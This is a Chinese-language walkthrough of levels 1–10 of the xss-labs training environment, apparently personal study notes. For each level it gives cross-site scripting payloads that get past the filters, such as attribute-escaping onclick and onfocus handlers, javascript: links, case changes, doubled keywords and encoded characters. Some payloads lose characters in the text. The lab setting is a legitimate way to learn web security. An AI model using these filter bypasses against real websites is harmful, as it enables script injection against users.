下载xss-labs到www目录下
在xp上创建网站
需要访问时打开apchi和mysql
level-1
网络源代码
网页源码里是有个alert函数，触发就能通关
用< svg οnclick="alert(1)" >
level2
先随便数个1
用payload逃出这个引号内容，然后调用alert函数
" οnclick="alert(1)
点击框完成
level3
也随便输一个
变成了''答案改为''就行
level4
试试" οnclick="alert(1)
竟然行了
level5
继续用" οnclick="alert(1)发现onclick被破坏
换个方法"><a href="javascript:alert(1)">test</a>
创建一个超链接
点击test完成
level6
继续使用上一关方法
href被破坏，那就试试大小写
可以了😀
level7
这次更狠，给href和script给删掉了，大小写也没用
可以试试双拼"><a hrhrefef=javasscriptcript:alert()>test</a>
可以看到他只屏蔽了一个href和script
level8
加个链接发现又被破坏了
它在我们script的中间加了个_ ,那我们就把r和i换成编码
javascri pt:alert()
level9
说我们链接不合法，就是链接不规范，加上http://
又被破坏，换成编码，因为要有http://，只有它失效才能执行JavaScript：alert（）的弹窗效果，但是不能删了他，要利用它过掉过滤，用/* */把他注释掉
javascri pt:alert() /* http:// */
level10
发现没有框
都试一下
发现只有sort有用
直接用t_sort=" onfocus="alert()" autofocus="" type="text自动聚焦套框